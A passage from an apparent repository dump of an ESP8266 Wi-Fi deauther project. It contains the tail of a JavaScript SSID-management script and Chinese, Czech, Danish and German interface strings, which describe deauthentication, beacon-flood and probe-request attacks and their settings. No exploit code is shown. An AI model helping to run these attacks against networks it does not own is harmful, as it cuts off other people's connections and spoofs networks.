cmdStr);\r\n\r\n\t\tfor (var i = 0; i < clones; i++) {\r\n\t\t\tif (ssidJson.ssids.length >= 60) ssidJson.ssids.splice(0, 1);\r\n\t\t\tssidJson.ssids.push([ssidStr, wpa2]);\r\n\t\t}\r\n\r\n\t\tdraw();\r\n\t}\r\n}\r\n\r\nfunction enableRandom() {\r\n\tif (ssidJson.random) {\r\n\t\tgetFile(\"run?cmd=disable random\", function () {\r\n\t\t\tload();\r\n\t\t});\r\n\t} else {\r\n\t\tgetFile(\"run?cmd=enable random \" + getE(\"interval\").value, function () {\r\n\t\t\tload();\r\n\t\t});\r\n\t}\r\n\r\n}\r\n\r\nfunction disableRandom() {\r\n\r\n}\r\n\r\nfunction addSelected() {\r\n\tgetFile(\"run?cmd=add ssid -s\" + (getE(\"overwrite\").checked ? \" -f\" : \"\"));\r\n}\r\n\r\nfunction changeEnc(id) {\r\n\tssidJson.ssids[id][1] = !ssidJson.ssids[id][1];\r\n\tdraw();\r\n\tsave(id);\r\n}\r\n\r\nfunction removeAll() {\r\n\tssidJson.ssids = [];\r\n\tgetFile(\"run?cmd=remove ssids\");\r\n\tdraw();\r\n}\r\n\r\nfunction save(id) {\r\n\tvar name = getE(\"ssid_\" + id).innerHTML.replace(\"<br>\", \"\").substring(0, 32);\r\n\tvar wpa2 = ssidJson.ssids[id][1];\r\n\tssidJson.ssids[id] = [name, wpa2];\r\n\r\n\tgetFile(\"run?cmd=replace ssid \" + id + \" -n \\\"\" + name + \"\\\" \" + (wpa2 ? \"-wpa2\" : \"\"));\r\n}\r\n\r\n"
  },
  {
    "path": "web_interface/lang/cn.lang",
    "content": "{\n    \"lang\": \"cn\",\n    \"warning\": \"注意！\",\n    \"disclaimer\": \"该项目仅用于个人学习和研究使用\\nESP8266及其SDK都不是为此目的而设计或构建的。可能会有 Bug 出现！\\n请仅在自己的网络和设备上使用！\\n本项目使用IEEE 802.11标准中描述的有效Wi-Fi帧，不会阻止或破坏任何频带。\\n使用前请检查您的国家的法律法规。\\n\\n请不要将这个项目称为“干扰器”，这完全破坏了这个项目的真正目的！\\n如果你这样做，它只能证明你不了解这个项目意味着什么。\\n请勿用于商业用途，或为了自身利益发布该项目的消息，这只能说明你不尊重知识产权，以及背后的社区和为了更好的WiFi标准的斗争。\\n\\n详情请访问：\",\n\t\"disclaimer-button\": \"我已阅读并明白上述注意事项。\",\n\t\"reload\": \"刷新\",\n\t\"scan\": \"扫描\",\n\t\"ssids\": \"SSIDs\",\n\t\"attacks\": \"攻击\",\n\t\"settings\": \"设置\",\n\t\"info\": \"关于\",\n\t\"info_span\": \"注意： \",\n\t\"all\": \"全部\",\n\t\"channel\": \"信道\",\n\t\"devices\": \"保存的设备\",\n\t\"select_all\": \"全选\",\n\t\"deselect_all\": \"全不选\",\n\t\"remove_all\": \"移除全部\",\n\t\"station_scan_time\": \"Station扫描时间\",\n\t\"new\": \"新建\",\n\t\"save\": \"保存\",\n\t\"add\": \"添加\",\n\t\"add_selected\": \"克隆所选接入点\",\n\t\"overwrite\": \"覆盖\",\n\t\"time_interval\": \"时间间隔\",\n\t\"number\": \"数量\",\n\t\"targets\": \"目标\",\n\t\"scan_info\": \"- 点击扫描并等待，直到主板上的蓝色LED指示灯熄灭（或变为绿色），然后点击刷新。\\n- 在Station扫描期间，Web界面将不可用，您可能需要重新连接！\\n- 请只选择一个目标！\\n\",\n\t\"ssids_info\": \"- 此SSID列表用于信标(beacon)和探测(probe)攻击。\\n-  每个SSID最多可以有32个字符。\\n- 修改SSID后不要忘记点击保存。\\n- 您需要在克隆SSID后点击刷新。\\n\",\n\t\"attack_info\": \"-  您在开始攻击时可能会失去连接！\\n- 你需要为取消验证洪水攻击(deauth)攻击选择一个目标。\\n- 您需要保存一个SSID来进行信标和探测攻击。\\n- 点击刷新以刷新数据包速率。\\n\",\n\t\"settings_info\": \"- 某些设置需要重启后才能生效。\\n- 修改设置后请务必点击保存以生效。\\n\",\n\t\"info_disclaimer\": \"如果发生了不可预计的错误，请重载网页并使用串口监视器以进一步调试。\",\n\t\"start_stop\": \"开始 / 停止\",\n\t\"start\": \"开始\",\n\t\"stop\": \"停止\",\n\t\"wifi_off\": \"WiFi关闭\",\n\t\"reboot\": \"重启\",\n\t\"reset\": \"重置\",\n\t\"enable_random\": \"开启随机模式\",\n\t\"disable_random\": \"关闭随机模式\",\n\t\"random_desc\": \"启用随机模式以在给定时间间隔内生成随机的SSID列表\",\n\t\"deauth_desc\": \"通过向您选择的接入点和客户端设备发送解除认证帧来关闭WiFi设备的连接。\\n因为很多设备不使用802.11w-2009标准来抵御这种攻击。\\n- 请只选择一个目标！当您开始攻击的不同信道上的多个目标时，它将在这些信道之间快速切换，届时您将无法重新连接到此Web界面。\\n\",\n\t\"beacon_desc\": \"信标帧(Beacon)数据包用于宣告接入点。通过不断发送信标帧数据包，看起来就像您创建了新的WiFi网络。\\n您可以通过SSID指定网络名称。\",\n\t\"probe_desc\": \"探测请求帧由客户端设备发送，以询问一个已知网络是否在附近。\\n通过请求您在SSID列表中指定的网络，以此来混淆WiFi跟踪器。\\n您可能不会在家庭网络中看到此次攻击的任何影响。\",\n\t\"setting_version\": \"版本号，比如说 v2.0.1\\n这个选项只能在源代码中更改\",\n\t\"setting_ssid\" : \"Wi-Fi 热点 SSID (如果已启用)。\\nSSID长度必须在8到31个字符之间。\",\n\t\"setting_password\": \"Wi-Fi 密码(如果已启用)。\\n密码长度必须在8到31个字符之间。\",\n\t\"setting_channel\": \"启动时默认使用的信道。\",\n\t\"setting_hidden\": \"隐藏接入点的SSID。\",\n\t\"setting_captivePortal\": \"启用captive portal（无线认证系统）。\",\n\t\"setting_autosave\": \"自动保存SSIDs、设备名和设置。\",\n\t\"setting_autosavetime\": \"自动保存的时间间隔(ms)。\",\n\t\"setting_display\": \"启用OLED界面。\",\n\t\"setting_displayTimeout\": \"OLED超时时间(s)。\\n若需要关闭超时，请设置成0。\",\n\t\"setting_serial\": \"启用串口控制界面.\\n推荐不要关闭。\",\n\t\"setting_serialEcho\": \"开启串口输入回显\",\n\t\"setting_web\": \"启用Web界面。\",\n\t\"settings_webSpiffs\": \"对所有文件启用 SPIFFS\",\n\t\"setting_led\": \"启用 (RGB) LED灯。\",\n\t\"setting_maxch\": \"扫描的最大信道。\\nUS = 11, EU = 13, Japan = 14.\",\n\t\"setting_macAP\": \"接入点模式下的MAC地址。\\n只有在接入点模式开启时才会改变MAC地址。\",\n\t\"setting_macSt\": \"客户端模式下的MAC地址。\\n只有在客户端模式开启时才会改变MAC地址。\",\n\t\"setting_chtime\": \"扫描第一个信道到第二个信道的时间间隔(ms)(只有在信道跳变开启时有效)。\",\n\t\"setting_minDeauths\": \"扫描最小解除认证攻击帧的数量，改变取消验证洪水攻击模式下的LED。\",\n\t\"setting_attacktimeout\": \"指定时间(s)后自动停止攻击。\\n设定为0以关闭。\",\n\t\"setting_forcepackets\": \"发送多少数据包来用于攻击。\\n如果要在繁忙区域达到更好的数据包速率，则将此值设置得更高。\\n小心，这个设置可能使设备更慢或者更不稳定。\\n最大值为255!\",\n\t\"setting_deauthspertarget\": \"发送给每个目标的解除关联帧与解除认证帧。\",\n\t\"setting_deauthReason\": \"解除认证帧的原因代码。告知目标设备其为什么连接会被关闭。\",\n\t\"setting_beaconchannel\": \"如果启用，在运行信标帧(Beacon)攻击时，会在不同信道上广播。\",\n\t\"setting_beaconInterval\": \"启用时，每隔1s会发送一次信标帧(Beacon)。关闭时，时间间隔会变成100ms。\\n一个长的时间间隔意味着更稳定和更高效的数据包，但在扫描客户端和接入点时会花费您更多时间。\",\n\t\"setting_randomTX\": \"启用随机传输功率来发送信标帧和探测请求帧。\",\n\t\"setting_probesPerSSID\": \"探测攻击模式下发送给每个SSID的探测请求帧。\",\n\t\"setting_lang\": \"Web界面的默认语言。\\n请确认语言文件是否存在！\"\n}\n"
  },
  {
    "path": "web_interface/lang/cs.lang",
    "content": "{\n    \"lang\": \"cs\",\n    \"warning\": \"VAROVÁNÍ\",\n    \"disclaimer\": \"Tento projekt slouží pouze pro testovací a edukační využití.\\nESP8266, nebo jeho SDK není určeno pro toto použití, proto se mohou vyskytnout chyby!\\n\\nPoužijte tento projekt jen proti vlastním zařízením a sítím!\\n\\nPoužíváme validní Wi-Fi rámce popsané v IEEE 802.11 standardu. Neblokujeme, ani nezasahujeme do jiných frekvencí.\\nPřed použitím si zkontrolujte omezení ve vaší zemi.\\n\\nProsím neodkazujte na tento projekt jako na \\\"rušičku\\\", nebo \\\"jammer\\\", podkopává to reálný význam tohoto projektu!\\nPokud tak budete nadále odkazovat, jen to ukazuje, že jste nic nepochopili.\\nPublikování obsahu o tomto projektu bez řádného vysvětlení ukazuje, že to děláte pouze pro kliknutí, slávu, peníze a nemáte žádný respekt k duševnímu vlastnictví, komunitě za ním a boji za lepší standard WiFi.\\n\\nPro více informací navštivte:\",\n\t\"disclaimer-button\": \"Přečetl jsem a pochopil výše uvedené oznámení\",\n\t\"reload\": \"Obnovit\",\n\t\"scan\": \"Skenovat\",\n\t\"ssids\": \"SSID\",\n\t\"attacks\": \"Útoky\",\n\t\"settings\": \"Nastavení\",\n\t\"info\": \"Info\",\n\t\"info_span\": \"INFO: \",\n\t\"all\": \"Vše\",\n\t\"channel\": \"Kanál\",\n\t\"devices\": \"Uložená zařízení\",\n\t\"select_all\": \"Označit vše\",\n\t\"deselect_all\": \"Odoznačit vše\",\n\t\"remove_all\": \"Odstranit vše\",\n\t\"station_scan_time\": \"Čas skenování stanice\",\n\t\"new\": \"Nový\",\n\t\"save\": \"Uložit\",\n\t\"add\": \"Přidat\",\n\t\"add_selected\": \"Klonovat vybrané stanice\",\n\t\"overwrite\": \"Přepsat\",\n\t\"time_interval\": \"Časový interval\",\n\t\"number\": \"Číslo\",\n\t\"targets\": \"Cíle\",\n\t\"scan_info\": \"- Klikněte na Skenovat a vyčkejte až se modrá LED vypne (nebo se změní na zelenou), poté klikněte na Obnovit.\\n- Webové rozhraní nebude během skenu dostupné. Budete se muset připojit znovu!\\n- Vyberte jenom jeden cíl!\\n\",\n\t\"ssids_info\": \"- Pro útok bude využit tento seznam SSID.\\n- Každé SSID může mít do 32 znaků.\\n- Po editaci nezapomeňte kliknout na Uložit.\\n- Po klonování SSID budete muset kliknout na Obnovit.\\n\",\n\t\"attack_info\": \"- Při zahájení útoku možná ztratíte připojení!\\n- Musíte vybrat cíl.\\n- Pro útok potřebujete uložené SSID.\\n- Klikněte na Obnovit pro obnovení rychlosti paketů.\\n\",\n\t\"settings_info\": \"- Některá nastavení vyžadují restart.\\n- Pro aplikování změn klikněte na Uložit.\\n\",\n\t\"info_disclaimer\": \"V případě neočekávané chyby obnovte stránku a zkontrolujte sériové rozhraní pro další ladění.\",\n\t\"start_stop\": \"START / STOP\",\n\t\"start\": \"START\",\n\t\"stop\": \"STOP\",\n\t\"wifi_off\": \"WiFi Off\",\n\t\"reboot\": \"Restartovat\",\n\t\"reset\": \"Resetovat\",\n\t\"enable_random\": \"Zapnout režim náhody\",\n\t\"disable_random\": \"Vypnout režim náhody\",\n\t\"random_desc\": \"Zapnout generování náhodného SSID seznamu.\",\n\t\"deauth_desc\": \"Uzavře spojení WIFI zařízení odesláním deauth paketů klientům a AP, které jste si vybrali.\\nToto je možné, protože většina zařízení neimplementuje 802.11w-2009 standard, který proti tomuto útoku brání.\\n- Vyberte jenom jeden cíl! Pokud vyberete více cílů, které jsou na jíných kanálech a spustíte útok, tak ztratíte možnost se připojit do webového rozhraní.\\n\",\n\t\"beacon_desc\": \"Pro zviditelnění jsou použity beacon pakety. Odesíláním těchto paketů výtváříte dojem nových sítí.\\nJména můžete specifikovat v sekci SSID.\",\n\t\"probe_desc\": \"Probe požadavky jsou odesílány klienty, pro zjištění, jestli není blízko známá síť.\\nPoužijte tento útok pro zmatení WIFI skenerů.\\nVe vaší domácí sítí pravděpodobně nezaznamenáte žádné výsledky.\",\n\t\"setting_version\": \"Číslo verze, tj. v2.0.\\nMůže být změněno pouze ve zdrojovém kódu.\",\n\t\"setting_ssid\" : \"SSID přístupového bodu AP (je-li zapnuto).\\nDélka musí být mezi 1 a 31 znaky.\",\n\t\"setting_password\": \"Heslo přístupového bodu AP (je-li zapnuto).\\nDélka musí být mezi 8 a 31 znaky.\",\n\t\"setting_channel\": \"Výchozí WIFI kanál, který bude použit při startu.\",\n\t\"setting_hidden\": \"Skryje přístupový bod pro webové rozhraní (je-li zapnuto).\",\n\t\"setting_captivePortal\": \"Aktivuje captive portal pro webové rozhraní (je-li zapnuto).\",\n\t\"setting_autosave\": \"Aktivuje automatické ukládání SSID, jmen zařízení and nastavení.\",\n\t\"setting_autosavetime\": \"Časový interval pro automatické ukládání v milisekundách.\",\n\t\"setting_display\": \"Aktivuje rozhraní displaye.\",\n\t\"setting_displayTimeout\": \"Čas v sekundách za který se display po nečinnosti automaticky vypne.\\nPro vypnutí časovače použijte 0.\",\n\t\"setting_serial\": \"Aktivuje sériové rozhraní.\\nNení doporučeno ho vypínat!\",\n\t\"setting_serialEcho\": \"Aktivuje odezvu (echo) pro každý řádek v sériové konzoli.\",\n\t\"setting_web\": \"Aktivuje webové rozhraní.\",\n\t\"settings_webSpiffs\": \"Zapnout SPIFFS pro všechny webové soubory.\",\n\t\"setting_led\": \"Aktivuje (RGB) LED.\",\n\t\"setting_maxch\": \"Max. kanál.\\nUS = 11, EU = 13, Japonsko = 14.\",\n\t\"setting_macAP\": \"MAC adresa v AP módu.\\nMAC adresa bude nahrazena, pokud je AP mód aktivní.\",\n\t\"setting_macSt\": \"MAC adresa v módu stanice.\\nMAC adresa bude nahrazena, pokud je mód stanice aktivní.\",\n\t\"setting_chtime\": \"Čas pro skenování jednoho kanálu v milisekundách (pokud je zapnuto přeskakování kanálů).\",\n\t\"setting_minDeauths\": \"Minimální počet odhlašovacích rámců pro změnu LED indikátoru.\",\n\t\"setting_attacktimeout\": \"Útok se automaticky zastaví po zadaném čase (v sekundách).\\nPro vypnutí časovače nastavte 0.\",\n\t\"setting_forcepackets\": \"Počet pokusů pro odeslání paketu.\\nNastavte větší hodnotu, pokud potřebujete lepší výsledky v rušných prostředích.\\nToto nastavení může vést ke zpomalení zařízení a nestabilitě.\\nMaximální hodnota je 255!\",\n\t\"setting_deauthspertarget\": \"Kolik deauth paketů bude odesláno každému cíli.\",\n\t\"setting_deauthReason\": \"Kód, který určuje důvod odhlášení klientů za sítě.\",\n\t\"setting_beaconchannel\": \"Pokud aktivní, beacon pakety budou odesílány na odlišných kanálech.\",\n\t\"setting_beaconInterval\": \"Pokud aktivní, beacon interval bude 1s. Pokud ne, interval bude 100ms.\\nDelší interval znamená větší stabilitu, ale skenování může trvat déle.\",\n\t\"setting_randomTX\": \"Aktivuje náhodný vysílací výkon pro každý packet.\",\n\t\"setting_probesPerSSID\": \"Kolik probe paketů bude odesláno k SSID.\",\n\t\"setting_lang\": \"Výchozí jazyk pro webové rozhraní.\\nUjistěte se, že definiční soubor jazyka existuje!\"\n}\n\n"
  },
  {
    "path": "web_interface/lang/da.lang",
    "content": "{\n    \"lang\": \"da\",\n    \"warning\": \"ADVARSEL\",\n    \"disclaimer\": \"Dette projekt er et bevis for koncept og er til testning og uddandelses brug.\\nHverken ESP82266, eller dens SDK er ment eller bygget for dette formål. Fejl kan opstå!\\n\\nBrug det kun mod egne trådløse netværk og enheder!\\n\\nDen anvender godkendte WiFi pakker som beskrevet i IEEE 802.11 standard og den blokere ikke eller forstyre frekvenser.\\nAltid følg dit lands regulationer og lov krav før den tages i brug.\\n\\nVær venlig ikke at referere til dette projekt som en \\\"Jammer\\\", det underminere projektet virkelige hensigt!\\nHvis du alligevel gør så beviser det blot at du ikke har forstået hvad dette projekt virkelig omhandler.\\nUdgivelse af indhold omkring dette uden den rette forståelse og forklaring viser at du kun gør dette for kliks, berømthed eller penge og ikke har respekt for intellektuel ejendom, folket bag det samt kampen for en bedre WiFi standard.\\n\\nFor mere information besøg:\",\n\t\"disclaimer-button\": \"Jeg har læst og forstået overstående\",\n\t\"reload\": \"Genindlæs\",\n\t\"scan\": \"Scanning\",\n\t\"ssids\": \"SSIDer\",\n\t\"attacks\": \"Angreb\",\n\t\"settings\": \"Indstillinger\",\n\t\"info\": \"Info\",\n\t\"info_span\": \"INFO: \",\n\t\"all\": \"Alle\",\n\t\"channel\": \"Kanal\",\n\t\"devices\": \"Gemte enheder\",\n\t\"select_all\": \"Vælg alle\",\n\t\"deselect_all\": \"Afvælg alle\",\n\t\"remove_all\": \"Fjern alle\",\n\t\"station_scan_time\": \"Station scanning tid\",\n\t\"new\": \"Ny\",\n\t\"save\": \"Gem\",\n\t\"add\": \"Tilføj\",\n\t\"add_selected\": \"Klon valgte APer\",\n\t\"overwrite\": \"Overskriv\",\n\t\"time_interval\": \"Tids interval\",\n\t\"number\": \"Nummer\",\n\t\"targets\": \"Mål\",\n    \"scan_info\": \"- Klik Scanning og vent på det blå LED på kortet slukker (eller skifter til grøn), derefter klik på Genindlæs.\\n- Web siden vil være ubrugelig mens der scannes for stationer og du bliver nød til at forbinde igen!\\n- Vælg venligts kun ét mål!\\n\",\n\t\"ssids_info\": \"- SSID listen bruges til beacon og probe angreb.\\n- Hvert SSID kan være op til 32 karakter.\\n- Husk at klikke Gem når du har rettet et SSID.\\n- Du skal klikke genindlæs efter at havde klonet et SSID.\\n\",\n\t\"attack_info\": \"- Du kan mist eforbindelsen når du starter et angreb!\\n- Du skal vælge et mål for deauth-angreb.\\n- Du skal bruge et gemt SSID navn for beacon og probe angreb.\\n- Klik genindlæs for at opfriske pakke hastigheden.\\n\",\n\t\"settings_info\": \"- Nogle indstillinger kræver genstart.\\n- Klik gem for at sikre indstillingerne bliver aktiveret.\\n\",\n\t\"info_disclaimer\": \"I tilfælde af en uventet fejl, genindlæs siden og kik på serial monitor for fejl søgning.\",\n\t\"start_stop\": \"START / STOP\",\n\t\"start\": \"START\",\n\t\"stop\": \"STOP\",\n\t\"wifi_off\": \"WiFi Sluk\",\n\t\"reboot\": \"Genstart\",\n\t\"reset\": \"Nulstil\",\n\t\"enable_random\": \"Aktiver tilfældig mode\",\n\t\"disable_random\": \"Deaktiver tilfældig mode\",\n\t\"random_desc\": \"Aktiver tilfældig mode for at generere en tilfældigt SSID liste i det angivet interval.\",\n\t\"deauth_desc\": \"Lukker for forbindelsen til forbundne WiFi enheder ved at sende deauthentication pakker til et access-point og valgte klienter.\\nDette er kun mulig da en stor del enheder ikke benytter 802.11w-2009 standarden som tilbyder beskyttelse mod dette angreb.\\n- Vælg kun et mål! Når du vælger mål fordelt på forskellige kanaler og starter angrebet så vil den hoppe mellem kanalerne og det vil ikke være muligt at få forbindelse til web siden igen.\\n\",\n\t\"beacon_desc\": \"Beacon pakker er brugt til at annoncere access-points. Ved at sende beacon pakker ud kontinuerligt kan du få det til at se ud til du har oprettet WiFi netværk.\\nDu kan angive et navn under SSIDer\",\n\t\"probe_desc\": \"Prope forspørgelser er sendt af klientens enheder for at forspørge efter kendte netværk i nærheden.\\nBrug dette angreb for at forvire WiFi søgere ved at forspørge efter netværk angivet i SSID listen.\\nDette angreb vil ikke gøre meget ved dit nuværende netværk.\",\n\t\"setting_version\": \"Version nummer, f.eks. v2.0.\\nDenne indstilling kan kun ændres i kilde koden.\",\n\t\"setting_ssid\" : \"SSID af et accesspoint (hvis aktiveret).\\nLængden skal være mellem 1 og 31 karakter.\",\n\t\"setting_password\": \"Kodeord for accesspoint (hvis aktiveret).\\nLængden skal være mellem 8 og 31 karakter.\",\n\t\"setting_channel\": \"Standard Wifi kanal brugt fra start.\",\n\t\"setting_hidden\": \"Gemmer accesspoint fra SSID listen hvis brugt til web siden (hvis aktiveret).\",\n\t\"setting_captivePortal\": \"Aktiver captive-portal for accespoint (hvis aktiveret).\",\n\t\"setting_autosave\": \"Aktiver automatisk gemning af SSIDer, enhed navne og indstillinger.\",\n\t\"setting_autosavetime\": \"Tids interval for automatisk gemning i millisekunder.\",\n\t\"setting_display\": \"Aktiver skærm brugerflade.\",\n\t\"setting_displayTimeout\": \"Tid i sekunder hvorefter skærmen slukker ved inaktivitet.\\nFor at fjerne sæt tid til 0.\",\n\t\"setting_serial\": \"Aktiver serial brugerflade.\\nDet er rekommenderet ikke at slå fra!\",\n\t\"setting_serialEcho\": \"Aktiver echo for alle indkommende beskeder via serial.\",\n\t\"setting_web\": \"Aktiver web brugerflade.\",\n\t\"setting_webSpiffs\": \"Aktiver SPIFFS for alle web filer.\",\n\t\"setting_led\": \"Aktiver (RGB) LED funktioner.\",\n\t\"setting_maxch\": \"Max. kanal at scanne på.\\nUS = 11, EU = 13, Japan = 14.\",\n\t\"setting_macAP\": \"MAC adresse brugt til access point mode.\\nVær opmærksom på MAC adressen vil kun blive overskrevet internt når accesspoint mode er aktiveret.\",\n\t\"setting_macSt\": \"MAC adresse brugt til station mode.\\nVær opmærksom på MAC adressen vil kun blive overskrevet internt når station mode er aktiveret.\",\n\t\"setting_chtime\": \"Tid for scanning af én kanal før den går videre til den næste i millisekunder (kun aktiv hvis kanal-hopping er aktivt).\",\n\t\"setting_minDeauths\": \"Minimum nummer af deauthentication pakker ved scanning for at skifte LED farve i deauth mode.\",\n\t\"setting_attacktimeout\": \"Efter x antal tid (i sekunder) stopper angrebet automatisk.\\nSæt til 0 for aldrig at stoppe.\",\n\t\"setting_forcepackets\": \"HVor mange forsøg ved udsendelse af pakke.\\nSæt højere i overfyldte kanal områder for bedre resultat.\\nDenne indstilling kan resultere i ustabilitet.\\nMaks værdi er 255!\",\n\t\"setting_deauthspertarget\": \"Hvor mange deauthentication og disassociation pakker er sendt ud for hvert mål.\",\n\t\"setting_deauthReason\": \"Begrundelsen sendt til mål ved deauth pakker for at forklre hvorfor de er blevet afbrudt.\",\n\t\"setting_beaconchannel\": \"Hvis aktiveret, vil sende alle pakker på andre kanaler når den laver beacon angreb.\",\n\t\"setting_beaconInterval\": \"Hvis sat til sandt, beacons sendes ud hvert sekund. Hvis sat til falsk, vil intervallet være 100ms.\\nEt længere interval betyder mere stabilitet og mindre spamming, men enhederk an være længere om at se dit SSID.\",\n\t\"setting_randomTX\": \"Aktivere tilfældig transmissions kraft for udsendelse af beacon og probe forspørgelses pakker.\",\n\t\"setting_probesPerSSID\": \"Hvor mange probe forspørgselser pakker er sendt for hver SSID.\",\n\t\"setting_lang\": \"Standart sprog for web brugerfladen.\\nVær sikker på sprog filen eksitere!\"\n}"
  },
  {
    "path": "web_interface/lang/de.lang",
    "content": "{\r\n    \"lang\": \"de\",\r\n    \"warning\": \"WARNUNG\",\r\n    \"disclaimer\": \"Dieses Proof-of-Concept-Projekt ist zum Lernen und Testen.\\nWeder der ESP8266, noch das SDK sind für solche Zwecke gemacht. Fehler können auftreten!\\n\\nBenutze es nur gegen eigene Netzwerke und Geräte!\\n\\nEs werden valide Wi-Fi-Frames nach IEEE 802.11 verwendet und keine Frequenzen gestört oder blockiert.\\n\\nBitte bezeichne dieses Projekt nicht als \\\"Jammer\\\" oder \\\"Störsender\\\", dass untergräbt den Sinn dieses Projektes!\\nWenn du es doch tust, zeigt es nur, dass du nichts von dem, wofür das Projekt steht, verstanden hast.\\nDie Veröffentlichung von Inhalten hierzu ohne entsprechende Erläuterung zeigt, dass du es nur für Aufmerksamkeit, Klicks und/oder Geld machst und keinen Respekt für geistiges Eigentum, die Gemeinschaft dahinter und den Kampf für einen besseren Wi-Fi-Standard hast.\\n\\nFür mehr Informationen, besuche:\",\r\n\t\"disclaimer-button\": \"Ich habe den Hinweis gelesen und verstanden\",\r\n\t\"reload\": \"Neu laden\",\r\n\t\"scan\": \"Scan\",\r\n\t\"ssids\": \"SSIDs\",\r\n\t\"attacks\": \"Attacken\",\r\n\t\"settings\": \"Einstellungen\",\r\n\t\"info\": \"Info\",\r\n\t\"info_span\": \"INFO: \",\r\n\t\"all\": \"Alle\",\r\n\t\"channel\": \"Kanal\",\r\n\t\"devices\": \"Gespeicherte Geräte\",\r\n\t\"select_all\": \"Alle auswählen\",\r\n\t\"deselect_all\": \"Auswahl aufheben\",\r\n\t\"remove_all\": \"Alle entfernen\",\r\n\t\"station_scan_time\": \"Station-Scan-Zeit\",\r\n\t\"new\": \"Neu\",\r\n\t\"save\": \"Speichern\",\r\n\t\"add\": \"Hinzufügen\",\r\n\t\"add_selected\": \"Klone ausgewählte APs\",\r\n\t\"overwrite\": \"Überschreiben\",\r\n\t\"time_interval\": \"Zeitintervall\",\r\n\t\"number\": \"Anzahl\",\r\n\t\"targets\": \"Ziele\",\r\n\t\"scan_info\": \"- Drücke auf \\\"Scan\\\" und warte bis sich die blaue LED auf deinem Board ausschaltet (oder grün wird), dann drücke \\\"Neu laden\\\".\\n- Das Webinterface schaltet sich während eines Station-Scans aus und du musst dich neu verbinden!\\n- Bitte wähle nur ein Ziel aus!\\n\",\r\n\t\"ssids_info\": \"- Die SSID-Liste wird für die Beacon- und Probe-Attacken verwendet.\\n- Jede SSID kann bis zu 32 Zeichen haben.\\n- Vergiss nicht auf Speichern zu klicken nachdem du eine Änderung vorgenommen hast.\\n- Du musst auf \\\"Neu laden\\\" klicken nachdem du SSIDs geklont hast.\\n\",\r\n\t\"attack_info\": \"- Die Verbindung kann beim Starten einer Attacke unterbrochen gehen!\\n- Für Deauth-Attacken wird ein ausgewähltes Ziel benötigt.\\n- Für Beacon- und Probe-Attacken werden gespeicherte SSIDs benötigt.\\n- Klicke \\\"Neu laden\\\" um die Paketrate zu aktualisieren.\\n\",\r\n\t\"settings_info\": \"- Einige Einstellungen benötigen einen Neustart.\\n- Klicke \\\"Speichern\\\", um sicherzustellen, dass deine Änderungen übernommen werden.\\n\",\r\n\t\"info_disclaimer\": \"Im Falle eines unerwarteten Fehlers lade die Seite erneut und schaue auf den Serial-Monitor für weiteres Debugging.\",\r\n\t\"start_stop\": \"START / STOPP\",\r\n\t\"start\": \"START\",\r\n\t\"stop\": \"STOPP\",\r\n\t\"wifi_off\": \"WiFi aus\",\r\n\t\"reboot\": \"Neu starten\",\r\n\t\"reset\": \"Reset\",\r\n\t\"enable_random\": \"Random Mode EIN\",\r\n\t\"disable_random\": \"Random Mode AUS\",\r\n\t\"random_desc\": \"Schalte den Random-Mode ein, um eine zufällige SSID-Liste im gegebenen Intervall automatisch zu generieren.\",\r\n\t\"deauth_desc\": \"Schließt die Verbindung von WiFi-Geräten durch das Senden von Deauthentication-Frames zu den ausgewählten Geräten.\\nDas ist nur möglich, da viele Geräte nicht den 802.11w-2009-Standard nutzen. Dieser bietet einen Schutz gegen solche Attacken.\\nBitte wähle nur ein Ziel aus! Bei mehreren Zielen auf verschiedenen Kanälen muss das Gerät ständig den Kanal wechseln und du wirst das Webinterface nicht mehr nutzen können.\",\r\n\t\"beacon_desc\": \"Beacon-Pakete werden benutzt, um auf Netzwerke aufmerksam zu machen. Durch das ständige Senden von solchen Paketen macht es den Anschein, Du hättest neue WiFi-Netzwerke erstellt.\\nDu kannst die Netzwerknamen in der SSID-Liste einstellen.\",\r\n\t\"probe_desc\": \"Probe-Requests werden von Client-Geräten gesendet, um nach bekannten Netzwerken in Reichweite zu fragen.\\nBenutze diese Attacke um WiFi-Trackers zu verwirren, indem Du ständig nach Netzwerken aus der SSID-Liste fragst.\\nEs ist unwahrscheinlich, dass diese Attacke merkbare Auswirkungen auf Dein Heimnetzwerk hat.\",\r\n\t\"setting_version\": \"Versionsnummer, z.B. v2.0.\\nDiese Einstellung kann nur im Quellcode verändert werden.\",\r\n\t\"setting_ssid\" : \"SSID des Access-Points, benutzt für das Webinterface (wenn aktiviert).\\nDie Länge muss zwischen 1 und 31 Zeichen sein.\",\r\n\t\"setting_password\": \"Passwort des Access-Points für Webinterface (wenn aktiviert).\\nDie Länge muss zwischen 8 und 31 Zeichen sein.\",\r\n\t\"setting_channel\": \"Standard WiFi-Kanal der beim Starten genutzt wird.\",\r\n\t\"setting_hidden\": \"Versteckt Access-Point für Webinterface (wenn aktiviert).\",\r\n\t\"setting_captivePortal\": \"Aktiviert Captive-Portal für Webinterface (wenn aktiviert).\",\r\n\t\"setting_autosave\": \"Aktiviert automatisches Speichern der SSIDs, Geräte und Einstellungen.\",\r\n\t\"setting_autosavetime\": \"Zeitintervall für automatisches Speichern in Millisekunden.\",\r\n\t\"setting_display\": \"Aktiviert Display-Interface.\",\r\n\t\"setting_displayTimeout\": \"Zeit in Sekunden nachdem das Display automatisch ausschaltet, wenn inaktiv.\\nZum Deaktivieren des Timeouts, setze es auf 0.\",\r\n\t\"setting_serial\": \"Aktiviere Serial-Interface.\\nEs wird empfohlen es immer aktiviert zu lassen!\",\r\n\t\"setting_serialEcho\": \"Erlaubt Echo für jede Nachricht über die serielle Verbindung.\",\r\n\t\"setting_web\": \"Aktiviert Webinterface.\",\r\n\t\"setting_webSpiffs\": \"Aktiviert SPIFFS für alle Web-Dateien.\",\r\n\t\"setting_led\": \"Aktiviert (RGB-)LED.\",\r\n\t\"setting_maxch\": \"Max. Kanal zum Scannen.\\nUS = 11, EU = 13, Japan = 14.\",\r\n\t\"setting_macAP\": \"MAC-Adresse für Access-Point-Modus.\\nBeachte, dass die Adresse nur angewendet wird wenn der Access-Point-Modus aktiviert ist.\",\r\n\t\"setting_macSt\": \"MAC-Adresse für Station-Modus.\\nBeachte, dass die Adresse nur angewendet wird, wenn der Station-Modus aktiviert ist.\",\r\n\t\"setting_chtime\": \"Scan-Zeit in Millisekunden für einen Kanal, bevor zum nächsten gewechselt wird (nur wenn Channel-Hopping aktiviert ist).\",\r\n\t\"setting_minDeauths\": \"Minimale Anzahl an Deauthentication-Frames beim Scannen, um den LED-Modus zu ändern.\",\r\n\t\"setting_attacktimeout\": \"Nach wie viel Sekunden die Attacke automatisch 